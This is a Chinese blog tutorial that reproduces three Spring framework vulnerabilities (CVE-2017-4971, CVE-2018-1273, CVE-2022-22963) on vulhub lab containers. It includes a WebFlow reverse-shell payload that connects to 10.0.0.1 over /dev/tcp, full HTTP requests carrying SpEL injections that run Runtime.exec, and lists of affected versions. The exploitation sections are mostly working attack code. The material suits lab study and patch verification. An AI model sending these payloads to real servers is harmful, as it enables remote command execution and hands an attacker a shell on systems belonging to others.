当前位置:   article > 正文

Spring框架漏洞

spring框架漏洞

目录

1、CVE-2017-4971

触发漏洞的条件

1.1.登陆

1.2:访问存在漏洞的页面

1.3.漏洞利用

2、CVE-2018-1273(远程命令执行漏洞)(SPEL表达式注入漏洞)

漏洞利用条件和方式

2.1.信息收集

2.2.攻击利用

2.3.漏洞验证

3、CVE-2022-22963(SPEL命令表达式注入漏洞)

漏洞原理

3.1.使用服务器发送以下数据

3.2.攻击利用

3.3.漏洞验证


以下框架漏洞均为Spring的框架,博主将从漏洞原理以及漏洞利用上来讲解,代码层面来讲解可能需要后面一段时间,本篇章的框架漏洞也暂此告一段落了,后面也会更新新的内容知识。以下所有靶场均来自vulhub(肥肠好用,重点是免费)

1、CVE-2017-4971

触发漏洞的条件

由上我们知道了有这两个条件才能触发漏洞:

1.在 webflow 配置文件中 view-state 节点中指定了 model 属性,并且没有指定绑定的参数,即 view-state 中没有配置 binder 节点

2.而且 MvcViewFactoryCreator 类中 useSpringBeanBinding 默认值(false)未修改

(如果默认值被修改则执行不了表达式)

参考链接  

1.1.登陆

首先访问/login页面,输入账号密码

9c08f0401b7645d38db94764b3141b9b.png

1.2:访问存在漏洞的页面

然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Proceed”(从这一步,其实WebFlow就正式开始了):

f1afc2fef6a1441dadc15f14ce4b9ddb.png

1.3.漏洞利用

修改数据包内容,对抓包的数据增加以下内容(反弹shell)记得url编码

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

 

6ee292b545f1d11d0fd3415b0fa29d3e.png


2、CVE-2018-1273(远程命令执行漏洞)(SPEL表达式注入漏洞)

参考链接

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

 

反弹shell方法:创建一个文件写有反弹shell代码,让其远程访问并下载

 

漏洞利用条件和方式

确认目标项目中包含Spring-data-commons包和版本范围如下:
Spring Data Commons 1.13 to 113.10
Spring Data Commons 2.0 to 2.0.5


查看相关特性是否已经开启
1.@ EnableSpringDataWebSupport被显示声明
2.@ EnableSprinaDataWebSupport没有显示声明,而是采用了spring-boot样架的自动扫描特性当采用Spring-boot的自动扫描特性的时候,在启动时会自动加载SpringDataWebConfiguration类效果与上述相同
3.在非注解声明项目中,如果有如下声明,也考虑开启了相关的特性


### 漏洞影响范围
Spring Data Commons 1.13至1.13.10 (Ingalls SR10)
Spring Data REST 2.6至2.6.10 (Ingalls SR10)
Spring Data Commons 2.0至2.0.5 (Kay SR5)
Spring Data REST 3.0至3.0.5 (Kay SR5)
较旧的不受支持的版本也会受到影响

2.1.信息收集

搭建容器后,进入users页面可以看到一个用户注册页面

9a2eeafd7d18aec0113967db6e4bae14.png

2.2.攻击利用

抓包修改为以下内容并发送:

  1. POST /users?page=&size=5 HTTP/1.1
  2. Host: localhost:8080
  3. Connection: keep-alive
  4. Content-Length: 124
  5. Pragma: no-cache
  6. Cache-Control: no-cache
  7. Origin: http://localhost:8080
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/x-www-form-urlencoded
  10. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
  11. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  12. Referer: http://localhost:8080/users?page=0&size=5
  13. Accept-Encoding: gzip, deflate, br
  14. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  15. username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

2.3.漏洞验证

进入服务器:docker-compose exec spring bash,查看tmp目录,发现新创建了一个success文件!

 

14ec7182b4980be753d4f39f4a280a21.png


3、CVE-2022-22963(SPEL命令表达式注入漏洞)

漏洞原理

由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。

3.1.使用服务器发送以下数据

curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test

这个请求的作用是将test字符串转换为大写形式,因为请求的路径是/uppercase,这很可能是一个服务器上的API,用于将请求的内容转换为大写形式并返回结果。

3.2.攻击利用

发送以下数据包,spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行

  1. POST /functionRouter HTTP/1.1
  2. Host: localhost:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close
  8. spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
  9. Content-Type: text/plain
  10. Content-Length: 4
  11. test

3.3.漏洞验证

进入docker容器访问tmp目录发现success文件已经创建

 

5f5636a37feb42fdb0bd1b200ae91f9b.png


 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/秋刀鱼在做梦/article/detail/1010465
推荐阅读
相关标签
  

闽ICP备14008679号